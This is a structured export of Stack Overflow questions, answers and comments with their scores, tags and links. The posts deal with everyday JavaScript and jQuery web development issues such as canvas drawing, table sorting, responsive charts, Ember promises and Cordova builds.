tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25816394
type: AnsweredQuestion
tagged with: checkout

http://stackoverflow.com/a/65468274
has comment: http://stackoverflow.com/comment/115746015
has body: MDN content available on github https://github.com/mdn/content clone github repository git clone https://github.com/mdn/content cd content install yarn if not installed npm install -g yarn on linux sudo npm install -g yarn execute yarn install execute yarn start navigate to http://localhost:5000 using your favorite web browser for more details read https://github.com/mdn/content/blob/main/README.md
has comment: http://stackoverflow.com/comment/115746437
type: Answer
has comment: http://stackoverflow.com/comment/115745976
has comment: http://stackoverflow.com/comment/115745681
score: 2
has comment: http://stackoverflow.com/comment/115745600
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/25725257

http://stackoverflow.com/comment/85043526
has text: The solution has been edited to include best practices
comment on: http://stackoverflow.com/a/33907828
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25828160
answer count: 1
has comment: http://stackoverflow.com/comment/40407339
type: UnansweredQuestion
score: 0
has body: I'm trying to edit a pacman implementation (source) using htlm5 and js. The problem is when I make the background transparent, the ghosts and pacman images holding the previews frames. This is an example about my problem. My js code: Pacman.FPS = 30; Pacman.Ghost = function (game, map, colour) { function getColour() { if (eatable) { if (secondsAgo(eatable) &gt; 5) { return game.getTick() % 20 &gt; 10 ? "rgba(0, 0, 0, 0.1)" : "rgba(0, 0, 0, 0.1)"; } else { return "rgba(0, 0, 0, 0.1)"; } } else if(eaten) { return "#222"; } return colour; }; function draw(ctx) { var s = map.blockSize, top = (position.y/10) * s, left = (position.x/10) * s; if (eatable &amp;&amp; secondsAgo(eatable) &gt; 8) { eatable = null; } if (eaten &amp;&amp; secondsAgo(eaten) &gt; 3) { eaten = null; } var tl = left + s; var base = top + s - 3; var inc = s / 10; var high = game.getTick() % 10 &gt; 5 ? 3 : -3; var low = game.getTick() % 10 &gt; 5 ? -3 : 3; ctx.fillStyle = getColour(); ctx.beginPath(); ctx.moveTo(left, base); ctx.quadraticCurveTo(left, top, left + (s/2), top); ctx.quadraticCurveTo(left + s, top, left+s, base); // Wavy things at the bottom ctx.quadraticCurveTo(tl-(inc*1), base+high, tl - (inc * 2), base); ctx.quadraticCurveTo(tl-(inc*3), base+low, tl - (inc * 4), base); ctx.quadraticCurveTo(tl-(inc*5), base+high, tl - (inc * 6), base); ctx.quadraticCurveTo(tl-(inc*7), base+low, tl - (inc * 8), base); ctx.quadraticCurveTo(tl-(inc*9), base+high, tl - (inc * 10), base); ctx.closePath(); ctx.fill(); ctx.beginPath(); ctx.fillStyle = "#FFF"; ctx.arc(left + 6,top + 6, s / 6, 0, 300, false); ctx.arc((left + s) - 6,top + 6, s / 6, 0, 300, false); ctx.closePath(); ctx.fill(); var f = s / 12; var off = {}; off[RIGHT] = [f, 0]; off[LEFT] = [-f, 0]; off[UP] = [0, -f]; off[DOWN] = [0, f]; ctx.beginPath(); ctx.fillStyle = "rgba(0, 0, 0, 0)"; //ctx.fillStyle = "#000"; ctx.arc(left+6+off[direction][0], top+6+off[direction][3], s / 15, 0, 300, false); ctx.arc((left+s)-6+off[direction][0], top+6+off[dire…
has answer: http://stackoverflow.com/a/25831541
has comment: http://stackoverflow.com/comment/40407383
type: Question
tagged with: canvas
has comment: http://stackoverflow.com/comment/40406992
has title: Delete or hide the image in previous frame - html 5 canvas
tagged with: javascript
has comment: http://stackoverflow.com/comment/40407098
tagged with: html5-canvas
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40266761
type: QuestionComment
score: 2
has text: xhr.responseType="blob"; ...; file = xhr.response;
comment on: http://stackoverflow.com/q/25751017
type: Comment

http://stackoverflow.com/a/25806340
has body: You will not be able to do so From Mozilla.org "Note that in Firefox 4 and later the returned string is not displayed to the user. Instead, Firefox displays the string "This page is asking you to confirm that you want to leave - data you have entered may not be saved." More info: https://developer.mozilla.org/en-US/docs/WindowEventHandlers.onbeforeunload See Bug: https://bugzilla.mozilla.org/show_bug.cgi?id=588292
answers question: http://stackoverflow.com/q/25806275
type: Answer
score: 2
downvote count: 0
upvote count: 2

http://stackoverflow.com/q/25824095
score: 1
has comment: http://stackoverflow.com/comment/40399377
possible better answer: http://stackoverflow.com/a/25826233
type: Question
tagged with: html-table
has answer: http://stackoverflow.com/a/25826233
has comment: http://stackoverflow.com/comment/40399182
tagged with: javascript
has comment: http://stackoverflow.com/comment/40406899
tagged with: jquery
has comment: http://stackoverflow.com/comment/40399852
has title: Order by clicking table header
has comment: http://stackoverflow.com/comment/40399431
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/25824227
has comment: http://stackoverflow.com/comment/40406687
accepted answer: http://stackoverflow.com/a/25833085
favorite count: 0
downvote count: 0
tagged with: php
has answer: http://stackoverflow.com/a/25833085
type: AnsweredQuestion
has body: I have an form on my web site that a user can use to order a table of data by a column of choice. Essentially it is similar to this: Column 1 Column 2 Column 3 It works well, but I want to update how this is done by allowing the user to click on the table column header instead. My attempt to do this was to add the onclick event to my table headers and use Javascript to POST the same array back to the page. In other words, Array ( [orderby] => col_2 ) when Column 2 is clicked on will remain exactly the same. This would preserve all of my other code. Here is the change I made to my table headers: Column 1 Column 2 Column 3 A B C B C A And here is the Javascript I wrote: This isn't working. Can anyone tell me what I need to change to get it to work? Right now if I click on the table headers, the $_POST array remains empty. (mypage.php is the same page that is calling the function. I also tried it with nothing between the single quotes, like you would with the form action attribute, but it didn't work that way either.)
has comment: http://stackoverflow.com/comment/40406822

http://stackoverflow.com/q/25799198
has comment: http://stackoverflow.com/comment/40355103
has comment: http://stackoverflow.com/comment/40354191
has body: Suppose I have a function proxyThrough like this: function proxyThrough(parentClass, childObjPropertyName, methodName) { parentClass.prototype[methodName] = function() { this[childObjPropertyName][methodName].apply(this[childObjPropertyName], arguments); }; } childPropertyName and methodName are both strings, and it looks up the functions by name. I know that this will not survive minification as a result. How can I get functions like this to survive minification? Example This is what I am doing currently: var BaseView = require('./BaseView'); var FooView = require('./FooView'); function BarView() { this._fooView = new FooView(); } BarView.prototype = Object.create(BaseView.prototype); BarView.prototype.constructor = BarView; BarView.prototype.anAction = function() { this._barView.anAction.apply(this._barView, arguments); }; BarView.prototype.anotherAction = function() { this._barView.anotherAction.apply(this._barView, arguments); }; This is what I would like to do instead: var BaseView = require('./BaseView'); var FooView = require('./FooView'); function BarView() { this._fooView = new FooView(); } BarView.prototype = Object.create(BaseView.prototype); BarView.prototype.constructor = BarView; function proxyThrough(parentClass, childObjPropertyName, methodName) { parentClass.prototype[methodName] = function() { this[childObjPropertyName][methodName].apply(this[childObjPropertyName], arguments); }; } ['anAction', 'anotherAction'].forEach(proxyThrough.bind(null, BarView, '_fooView'));
score: 2
has answer: http://stackoverflow.com/a/25799549
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40354695
favorite count: 0
has comment: http://stackoverflow.com/comment/40354139
type: UnansweredQuestion
tagged with: minify
upvote count: 2
has title: How to create a Javascript function that inspects objects/ function based on property names that will survive minifcation?
has comment: http://stackoverflow.com/comment/40354844
has comment: http://stackoverflow.com/comment/40354373
type: Question
has comment: http://stackoverflow.com/comment/40354179
tagged with: javascript

http://stackoverflow.com/comment/40418292
has text: Are you switching from line chart to bar chart dynamically?
score: 1
comment on: http://stackoverflow.com/q/25834644
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25788725
has answer: http://stackoverflow.com/a/25788870
score: 0
answer count: 1
tagged with: cross-browser
has title: Browser compatibility issues other than the obvious layout/CSS issues?
tagged with: asp.net
type: UnansweredQuestion
tagged with: web-applications
has body: Most cross browser testing tools test for layout differences between browsers. There's not much information on functional differences from browser to browser. I wanted to ask, what are the typical functional problems that can arise in web applications. Two sources of these problems came to mind right away are Javascript and server-side controls. What else should one watch out for?
type: Question
tagged with: testing
tagged with: javascript

http://stackoverflow.com/a/25851457
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25851266
has body: Your final code block looks acceptable, except that you haven't prevented the table selector from also selecting the outer table. As written, this would cause each set of checkboxes to be considered twice - once as part of its own table and again (actually first) as descendants of the outer table. Try a more specific selector: $('#roottable .intable').each(...)
upvote count: 1
score: 1

http://stackoverflow.com/a/25978727
answers question: http://stackoverflow.com/q/25868260
has body: This should work: In my_app_dir->config.xml add &lt;preference name="KeepRunning" value="false" /&gt; And below document.addEventListener("deviceready", function() {... add document.addEventListener('backbutton', function() { navigator.app.exitApp(); }, false); Afterwards open cmd, go to your project folder and run cordova build android; cordova run --device android;
score: 0
type: Answer

http://stackoverflow.com/q/25816443
tagged with: http://stackoverflow.com/tag/html
has title: Javascript: How to display a div at the place of another div on the click of a button?
possible better answer: http://stackoverflow.com/a/25816745
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40388112
has answer: http://stackoverflow.com/a/25816745
has comment: http://stackoverflow.com/comment/40388588
has comment: http://stackoverflow.com/comment/40388171
has comment: http://stackoverflow.com/comment/40385638
downvote count: 1
type: Question
has body: In the given example, what I want for the #rightdiv is that initially the #rightdivOne should be displayed in the #rightdiv and #rightdivTwo or #rightdivThree should not be displayed, then on the click of the submit button, #rightdivTwo should be displayed in the place of the #rightdivOne (so that #rightdivOne is no more visible), and then again on the click of the submit button, #rightdivThree is displayed in the same place. The rest of the page should remain static. Is it possible to do this through Javascript only? I can't use AJAX. Moreover, I don't prefer to use JQuery and will only use it as a last resort. If this is possible, can somebody guide me a bit about how? JSFiddle here. I am the statement of the question. I am the statement of the question. I am the statement of the question. I am the statement of the question. Option One Option Two Option Three Option Four I am the statement of the question. I am the statement of the question. I am the statement of the question. I am the statement of the question. Option One Option Two Option Three Option Four I am the statement of the question. I am the statement of the question. I am the statement of the question. I am the statement of the question. Option One Option Two Option Three Option Four Note:- I am using inline CSS for a reason. So please don't ground me on that.
tagged with: javascript
has answer: http://stackoverflow.com/a/25816988
score: -1
has comment: http://stackoverflow.com/comment/40386152
answer count: 2
has comment: http://stackoverflow.com/comment/40386126
upvote count: 0
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25816988

http://stackoverflow.com/comment/40380564
type: Comment
type: QuestionComment
score: 0
has text: I will look into this I am just using that from the code for the first assignment we had.
comment on: http://stackoverflow.com/q/25813889

http://stackoverflow.com/q/25865152
has title: resize div depending on an image size using jquery
type: Question
tagged with: window-resize
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25865221
tagged with: javascript
tagged with: image
has body: I have an image and a colored div overlay over my image. I get the image width and height using jquery to set the colored overlay div width and heights. it works fine. here is my html : &lt;div class="image_overlay"&gt; &lt;div class="overlay"&gt;&lt;/div&gt; &lt;img src="http://us.123rf.com/400wm/400/400/1xpert/1xpert1101/1xpert110100083/8712640-rainbow-cubes-3d-render-image.jpg" class="image"&gt; &lt;/div&gt; &lt;div class="image_overlay"&gt; &lt;div class="overlay"&gt;&lt;/div&gt; &lt;img src="http://4.bp.blogspot.com/-BrLngyC1Bto/UpO-IY1kcNI/AAAAAAAALqA/1bSQRy3G_gU/s1600/Image-b%C3%A9b%C3%A9-facebook-8.jpg" class="image"&gt; &lt;/div&gt; my css .image_overlay{ position:relative} .image{ z-index:1; width:50%; height:auto; } .overlay{ background-color:rgba(13, 181, 30, 0.8); position:absolute; z-index:2; } and my jquery $(".image").load(function(){ var image_h=this.height, image_w=this.width; $(".overlay").height(image_h); $(".overlay").width(image_w); }); now I'm trying when resizing the window that the overlay get the same size of my image, using $(window).on('resize',function()... but I can't find out how to do it... here is what I tried : http://jsfiddle.net/o4ngj624/ Can anybody help me with this ? thanks a lot for your help, $(document).ready(function(){ $(".image").load(function(){ var image_h=this.height, image_w=this.width; $(".overlay").height(image_h); $(".overlay").width(image_w); }); $(window).trigger('resize'); }); $(window).on('resize',function() { var image_h=this.height, image_w=this.width; $(".overlay").height(image_h); $(".overlay").width(image_w); }); here is Jsfiddle to see it in action :
upvote count: 1
has answer: http://stackoverflow.com/a/25865221
answer count: 1
tagged with: jquery
favorite count: 0
tagged with: css
downvote count: 0
score: 1

http://stackoverflow.com/q/25778711
type: AnsweredQuestion
upvote count: 2
type: Question
has title: Nodejs display undefined on console even when function has return value
has answer: http://stackoverflow.com/a/25778742
has body: I was just playing with node and I noticed even when I specify a return value for my function node still returns undefined. Whats wrong here? reading previous post related to my question, I am under the impression that if you specify a return type node shouldn't display undefined
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25778742
tagged with: node.js
score: 2

http://stackoverflow.com/comment/47921023
has text: But intellisense is able to infer what Platform is in 2 of the examples I showed, right? So I just wondered why it wasn't working in the others. Phaser.Game can be found here: https://raw.githubusercontent.com/photonstorm/phaser/master/build/phaser.js. Just search for "@class Phaser.Game".
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25855938

http://stackoverflow.com/comment/40274199
score: 0
type: Comment
has text: I assumed it had to do with synchronicity, I just didn't know how to fix it. Thank you, will test this code
comment on: http://stackoverflow.com/a/25755406
type: AnswerComment

http://stackoverflow.com/comment/40203206
comment on: http://stackoverflow.com/q/25717188
score: 0
type: QuestionComment
has text: Change your catch to catch(e) { alert(e.name + ' ' + e.message); } to see what the error is. Also why don't you debug the try code with developer tools?
type: Comment

google-oauth
type: Tag
tags question: http://stackoverflow.com/q/25772391
tag name: google-oauth

http://stackoverflow.com/q/25830045
tagged with: javascript
has comment: http://stackoverflow.com/comment/40410118
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25830096
tagged with: http://stackoverflow.com/tag/html
tagged with: php
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25830096
type: Question
score: 1
has body: I have created div elements dynamically by this $(document).ready(function(){ var c=0; $(".addC").on('click', function(){ //alert("Add More...."); var addInput = $("&lt;br /&gt;&lt;input type='text' name=court_"+ c + " id=court_"+ c +" required /&gt;"); $(this).parent().append(addInput); c++; }); }); This is done for a form that has already an input field for entering court name &lt;input type="text" name="court_name" id="court_name" required /&gt; I want these values in $_POST[] php variable for further DB operations. How to find how many input fields are added and how can they be used (in php only)
tagged with: post
has title: How to find the number of Div added in PHP after form submit
upvote count: 1
answer count: 1

http://stackoverflow.com/a/25750498
score: 0
answers question: http://stackoverflow.com/q/25750451
has body: You are selecting by id. Id's are supposed to be unique. Therefore when you select by id jquery will only ever return one element. So if you have this: ... ... And then you select like this: $('#link').hover(function(){ // do something } It will only ever attach the handler to the first item. Use a class instead: ... ... And then attach a handler like so: $('.link').hover(function(){ // do something } When you use an id selector (#) in jquery it will be translated into a call to the DOM function getElementById. Note that it's get "element" not get "elements" and it only ever returns a single element.
type: Answer

http://stackoverflow.com/comment/40272344
type: Comment
type: QuestionComment
has text: I've taken algebra and a little calc, it's just that the `a` variable that needs to be isolated appears in the denominator of the value in the hyperbolic cosine function. I don't know how to get it out.
score: 0
comment on: http://stackoverflow.com/q/25753546

http://stackoverflow.com/q/25721762
tagged with: javascript
has comment: http://stackoverflow.com/comment/40211219
answer count: 1
has title: Why does this Expression not work inside the ng-repeat?
score: 1
tagged with: angularjs-ng-repeat
favorite count: 0
accepted answer: http://stackoverflow.com/a/25721900
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40211267
upvote count: 1
type: AnsweredQuestion
has body: I am working my way through some AngularJS tutorials. Alongside, I have made my small toy to further experiment. I have found a situation where a expression works when outside a ng-repeat but wont work inside and I would like to understand why? The template: {{todo.text}} Detail: {{detail}} Some content What is it about ng-repeat that stops this working, or am I on the wrong track?
has comment: http://stackoverflow.com/comment/40211328
type: Question
has answer: http://stackoverflow.com/a/25721900
has comment: http://stackoverflow.com/comment/40211243
downvote count: 0

http://stackoverflow.com/comment/45743121
score: 0
comment on: http://stackoverflow.com/a/25871597
type: AnswerComment
has text: I wouldn't know, but in that case I guess I would just use the same control with different content and manage a state myself, calling whatever is needed in each case
type: Comment

http://stackoverflow.com/comment/40614664
type: Comment
comment on: http://stackoverflow.com/a/25942178
has text: Haha you are right. That is what I resorted to a week ago and it worked like a charm. So you are correct, just a little late lol. But you get a smiley face for trying!
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40300392
type: Comment
has text: We have made the site responsive till tablets but we have different site for mobile devices thats why i want to zoom out the pages only for mobile.
comment on: http://stackoverflow.com/q/25765887
score: 0
type: QuestionComment

http://stackoverflow.com/a/25725412
type: Answer
has body: There are two ways to accomplish what you're looking for. This way var myLineChart = new Chart(ctx).Line(data, options); var options = Chart.defaults.global = { responsive: true, maintainAspectRatio: true }; or, this way var myLineChart = new Chart(ctx).Line(data, { responsive: true, maintainAspectRatio: true }); However, to make it responsive you'll have to add some extra CSS canvas{ width: 100% !important; height: auto !important; } so there's no need for inline CSS Working demo In accordance with the comment of @JustinXL below and the latest version of Chart.js there's no need for extra CSS, so check out the updated version. Updated demo
has comment: http://stackoverflow.com/comment/44896795
answers question: http://stackoverflow.com/q/25724506
upvote count: 9
has comment: http://stackoverflow.com/comment/40221009
has comment: http://stackoverflow.com/comment/40222192
score: 9
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/44905768
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25724506

http://stackoverflow.com/a/25767066
has comment: http://stackoverflow.com/comment/40296281
has body: var _ul=document.getElementByTagName('ul'); var _list=_ul.getElementsByTagName('li'); for (var i=0;i&lt;=_list.length;i++) { var _img=document.createElement('img'); _img.src="something"; _img.id="foo"+i; _list[i].appendChild(_img); }
answers question: http://stackoverflow.com/q/25766567
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25766567
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40295036

http://stackoverflow.com/q/25826199
tagged with: javascript
answer count: 1
downvote count: 0
score: 1
favorite count: 0
has body: I want to setup a javascript listener that automatically knows when the SQL database is updated. I am using Pusher (web service) to receive real time notification. I am not 100% sure of how I should make this work but here is my plan: Set a cron job every 10 seconds to check if the database has been updated If yes, then send the data to the Pusher server I set a pusher listener in JavaScript on all clients When data is sent to Pusher server, the server send the data to all clients and the data is updated Heres a diagram of that: Does that make sense? Is it a good idea to use a cron job on the server to check if the data has been updated or?
has answer: http://stackoverflow.com/a/25826455
type: AnsweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40404564
type: Question
tagged with: pusher
has title: Push data when SQL is updated
accepted answer: http://stackoverflow.com/a/25826455

http://stackoverflow.com/comment/40265503
type: QuestionComment
score: 1
has text: yeah, the core idea is the same. node.js uses Chrome's JS engine.
comment on: http://stackoverflow.com/q/25750884
type: Comment

http://stackoverflow.com/q/25841643
has answer: http://stackoverflow.com/a/25842057
possible better answer: http://stackoverflow.com/a/25842057
type: Question
has title: In Meteor, how to only load a javascript when the user is logged in using an particular external service?
tagged with: javascript
tagged with: google-api-js-client
score: 0
answer count: 2
has body: What I really need is to load google apis client library for javascript when a user is logged in using google service. If a user is logged in using password or other external services, the library is not loaded. Is this possible by any means? Thanks.
has answer: http://stackoverflow.com/a/25842041
tagged with: meteor
accepted answer: http://stackoverflow.com/a/25842041
type: AnsweredQuestion

http://stackoverflow.com/q/25760782
score: 0
answer count: 1
type: UnansweredQuestion
has body: It difficult to me I try to use xmlhttprequest level 2. I trying to get html from url and display in div tag id=mydiv. I creating 123.php and run it in xampp and code function getpage() function getpage() { var request = createCORSRequest(); if (request) { request.onload = function() { document.getElementById("myDiv").innerHTML = xmlhttp.responseText; }; request.send(); } } code html Request data How can i get the html code from it. and how to add header xmlhtmlrequest Host: www.ebay.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: vi-vn,vi;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Can somebody help me solve problem?
tagged with: http://stackoverflow.com/tag/html
tagged with: php
has title: how to get html from xmlhttprequest
has answer: http://stackoverflow.com/a/25806171
type: Question
tagged with: javascript

http://stackoverflow.com/comment/40450968
score: 0
type: Comment
type: QuestionComment
has text: I fixed the code so one is using the onclick and the other is using the action link.
comment on: http://stackoverflow.com/q/25851891

http://stackoverflow.com/a/27429573
has body: I was having this same issue and ended up with the following solution: HTML: &lt;ul class="slider"&gt; ... &lt;li class="slide"&gt; &lt;img src="[PLACEHOLDER IMAGE]" data-src="[ACTUAL IMAGE]"&gt; &lt;/li&gt; ... &lt;/ul&gt; Javascript: function loadSlide( slider, $element ) { var page = slider.getCurrentSlide(), visible = Math.floor( $element.closest( '.bx-viewport' ).width() / $element.find( '.slide' ).width() ), slides = $element.find( '.slide:not(.bx-clone)' ), firstSlide = slides.eq( page * visible ); for ( var i = 0; i &lt; visible; i++ ) { var img = firstSlide.find( 'img' ), imgSrc = img.attr( 'data-src' ); if ( imgSrc &amp;&amp; imgSrc !== '' ) { img.hide().attr( 'src', imgSrc ).fadeIn().removeAttr( 'data-src' ); } firstSlide = firstSlide.next( '.slide' ); } } // init bxSlider $( '.slider' ).each( function( idx, el ) { var $el = $( el ), thisSlider = $el.bxSlider({ // config options onSlideBefore: function() { loadSlide( thisSlider, $el ); } }); }); Some notes: I initialized the script using $.each instead of just $('.slider').bxSlider() because bxSlider wasn't passing a reference to the slider instance, and I needed that to use the getCurrentSlide method. getCurrentSlide lets us know which page we're moving to, so we can use that to figure out which element is first on that page. I was having trouble getting that info strictly from bxSlider, but it's probably easier than I'm making it. As it's moving through images on the slide, it bails if they don't have a data-src attribute. If it does, it replaces the src attribute with it, and fades the image in. Make sure your first page of images reference valid images since this is only set up to handle when the slider changes pages. I'm 90% sure my solution is needlessly complicated, but it works for me. You can check a working example here: http://codepen.io/a_double/pen/RNaRZw Hope that helps!
answers question: http://stackoverflow.com/q/25854589
accepted answer of: http://stackoverflow.com/q/25854589
score: 0
upvote count: 1
type: AcceptedAnswer
downvote count: 1
type: Answer

user-input
tags question: http://stackoverflow.com/q/25744245
type: Tag
tag name: user-input
tags question: http://stackoverflow.com/q/25825536

http://stackoverflow.com/comment/40279180
comment on: http://stackoverflow.com/a/25758211
has text: what are the changes i need to made in the code in the case of dynamic dictionary
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25865281
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25865729
type: Question
has comment: http://stackoverflow.com/comment/40474060
has comment: http://stackoverflow.com/comment/40474696
score: 0
has body: I got tasked with fixing a buggy dropdown menu that reacts on hover. When I move the mouse from the button that should trigger the dropdown to the dropdown it sometimes closes the dropdown. I feel like it triggers the leave-event when I leave the button even though I'm not leaving the wrapper. The html is something like this: Shopcart Shopcartstuff here Javascript is like this: shopcartShowMouseEnter: function () { $('#shopcart_wrapper').on('mouseenter', function(){ if(Modernizr.cssanimations){ $('#shopcartsummary').addClass('open').removeClass('closed'); }else{ if(!$('#shopcartsummary').is(':animated')){ eStore.shopcart.show(); } } }); }, shopcartHideMouseLeave: function(){ $('#shopcart_wrapper').on('mouseleave', function(){ if(Modernizr.cssanimations){ $('#shopcartsummary').removeClass('open').addClass('closed'); }else{ if(!$('#shopcartsummary').is(':animated')){ eStore.shopcart.hide(); } } }); } I feel like the fix should be to check if I'm still hovering over the #shopcartsummary before I trigger any events in the mouseleave. But how do I do this in the best way?
has title: Buggy jquery hover menu
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25743310
has body: I'm having an issue with an isotope layout where I have set the cornerStampSelector property, but the .corner-stamp element seems to always display on the left. I've set the CSS to float: right on this element but it doesn't seem to make any difference. Here is my jQuery code: jQuery(function() { var jQueryalpha = jQuery('.full-width-isotope #preload-grid'); var jQuerycontainer = jQuery('.full-width-isotope #full-width-grid'), // create a clone that will be used for measuring container width jQuerycontainerProxy = jQuerycontainer.clone().empty().css({visibility: 'hidden'}); jQuerycontainer.after(jQuerycontainerProxy); // get the first item to use for measuring columnWidth var jQueryitem = jQuerycontainer.find('.item').not('.w2').eq(0); jQuery(window).smartresize(function() { if (jQuery(window).width() <= 768) { var colNumber = 2 } else if (jQuery(window).width() <= 480) { var colNumber = 1 } else { var colNumber = 4 } var colWidth = Math.floor(jQuerycontainerProxy.width() / colNumber); jQuerycontainer.css({ width: colWidth * colNumber }) .isotope({ resizable: false, itemSelector: '.item', masonry: { columnWidth: colWidth, cornerStampSelector: '.corner-stamp' } }).isotope('insert', jQueryalpha.find('.item')); }).smartresize(); }); CSS is below: .full-width-isotope .item.corner-stamp { background: #888 !important; float: right !important; } .full-width-isotope .item { background-color: #fff; margin: 0; width: 25%; height: 0; padding-bottom: 19%; float: left; overflow: hidden; position: relative; color: #222; height: 275px;} .item.w2 { width: 50%; } .item.h2 { height: 550px; } .full-width-isotope .item-container { position: absolute; top: 12px; bottom: 12px; left: 12px; right: 12px; background-repeat: no-repeat; background-position: center center; background-size: cover;} .full-width-isotope .item-container > a { position: absolute; top: 0; bottom: 0; left: 0; right: 0; } .full-width-isotope .item-content { background: #FC0; display: block; position: absolute; bottom: …
type: Question
tagged with: masonry
tagged with: javascript
tagged with: jquery-isotope
tagged with: jquery
has answer: http://stackoverflow.com/a/25780918
score: 0
answer count: 1
type: UnansweredQuestion
has title: Isotope/masonry - corner stamp doesn't appear in top left

http://stackoverflow.com/q/25730699
has answer: http://stackoverflow.com/a/25730833
type: Question
downvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/40227918
has body: I am trying to write a small javascript library as shown below. What I really want is when I call console.log(tnd().pv); it should output same number and not generate new number everytime. I know the issue is it calls Math.random everytime I console log. But how can I do so that it outputs same number? (function () { var tnd = function() { return new tnlib(); }; var tnlib = function() { this.version = function(){ console.log('1.0'); }; this.pv = Math.random()*10000000000000000; }; if(!window.tnd) { window.tnd = tnd; } })();
has title: javascript const in javascript library
accepted answer: http://stackoverflow.com/a/25730833
upvote count: 0
tagged with: javascript
type: AnsweredQuestion
score: -2
favorite count: 0

http://stackoverflow.com/comment/40209070
has text: Dont create element with ajax going on. Maybe you can send ajax requests one by one.
score: 0
comment on: http://stackoverflow.com/q/25720521
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25835297
downvote count: 0
has comment: http://stackoverflow.com/comment/40428473
has comment: http://stackoverflow.com/comment/40428562
type: Answer
upvote count: 1
has body: Creating an HTML calendar can be overwhelming, for the reasons you provided. However, it can be done with a little HTML, CSS, and a few lines of jQuery. HTML: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 CSS: #Days { background:#ccc; height:300px; width:400px; } #Days div { float:left; width: 13.78571%; height:16.1667%; margin-right:0.5%; margin-bottom:0.5%; text-align:right; background:white; } The margin styles create the borders with little work by the browser. (A jsPerf may be useful to prove this.) Note that #Days div width and height are percentages. Including margins, they are equal to 100/7 (7 days in a week) and 100/6 (a calendar may have up to 6 rows). jQuery: function showMonth(month,year) { var dayStart = new Date(year, month-1, 1).getDay(); var daysInMonth = new Date(year, month, 0).getDate(); $('#Days div').first().css('margin-left',14.287571*dayStart+'%'); $('#Days div').show(); $('#Days div').eq(daysInMonth-1).nextAll().hide(); } //showMonth dayStart holds the first day of the month (0=Sun, 1=Mon, etc.) The first #Days div is simply styled so that its left margin pushes day 1 into the correct position. daysInMonth is what it says. We simply hide every day past the last day. Before doing so, we show all the days, in case we're changing from month to month. This Fiddle includes your requirement to change month on hover.
answers question: http://stackoverflow.com/q/25819548
score: 1

http://stackoverflow.com/q/25866892
tagged with: javascript
tagged with: jquery
score: 0
tagged with: datetimepicker
has comment: http://stackoverflow.com/comment/40485901
tagged with: http://stackoverflow.com/tag/html
has body: I have my jquery datetimepicker api files Webcontent/js folder.I am referring to the resources like in the code. &lt;script type="text/javascript" src="js/jquery.datetimepicker.js"&gt;&lt;/script&gt; &lt;link rel="stylesheet" type="text/css" href="js/jquery.datetimepicker.css"/&gt; But the browser fails to load those resources and moreover its showing the wrong file type in network tab like this. jquery.datetimepicker.js GET(canceled) text/html jquery.datetimepicker.css GET(canceled) text/html Can someone tell me what went wrong here ? I am using spring mvc.
has comment: http://stackoverflow.com/comment/40482126
answer count: 0
type: UnansweredQuestion
has title: Browser Failed to load resource
tagged with: jquery-ui
has comment: http://stackoverflow.com/comment/40478125
type: Question
has comment: http://stackoverflow.com/comment/40476827
has comment: http://stackoverflow.com/comment/40477050
has comment: http://stackoverflow.com/comment/40476952

http://stackoverflow.com/a/25735029
has body: Ember handles promises returned to a model hook, not to a computed property. You'll either want to set it up in a route, or set up the computed property using a promise proxy. The most common pattern is to fetch and set data in the route, but in the event where you want to do it as a computed property in the controller you can use the proxy pattern. Ember Data sets up their promise proxy using classes from Ember itself. Your computed property could look like this if your response from server is an object: words: (() -&gt; var foo = Ember.ObjectProxy.extend(Ember.PromiseProxyMixin), promise = Ember.$.getJSON("http://localhost:3000/dictionary"); foo.create({ promise: promise }); ).property() If your response is an array you would set up an array proxy words: (() -&gt; var foo = Ember.ArrayProxy.extend(Ember.PromiseProxyMixin), promise = Ember.$.getJSON("http://localhost:3000/dictionary"); foo.create({ promise: promise }); ).property() If it's an array there is another pattern of returning an array reference, then populating it later. words: (() -&gt; var foo = [], promise = Ember.$.getJSON("http://localhost:3000/dictionary"); foo.then(function(data){ // this happens asynchronously data.forEach(function(item){ foo.pushObject(item); }); }); return foo; ).property() And then the easiest is to set the property during the route: EmberJS: How to load multiple models on the same route?
has comment: http://stackoverflow.com/comment/40300388
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40254853
accepted answer of: http://stackoverflow.com/q/25734639
type: Answer
has comment: http://stackoverflow.com/comment/40252044
answers question: http://stackoverflow.com/q/25734639
has comment: http://stackoverflow.com/comment/40252110
downvote count: 0
score: 1
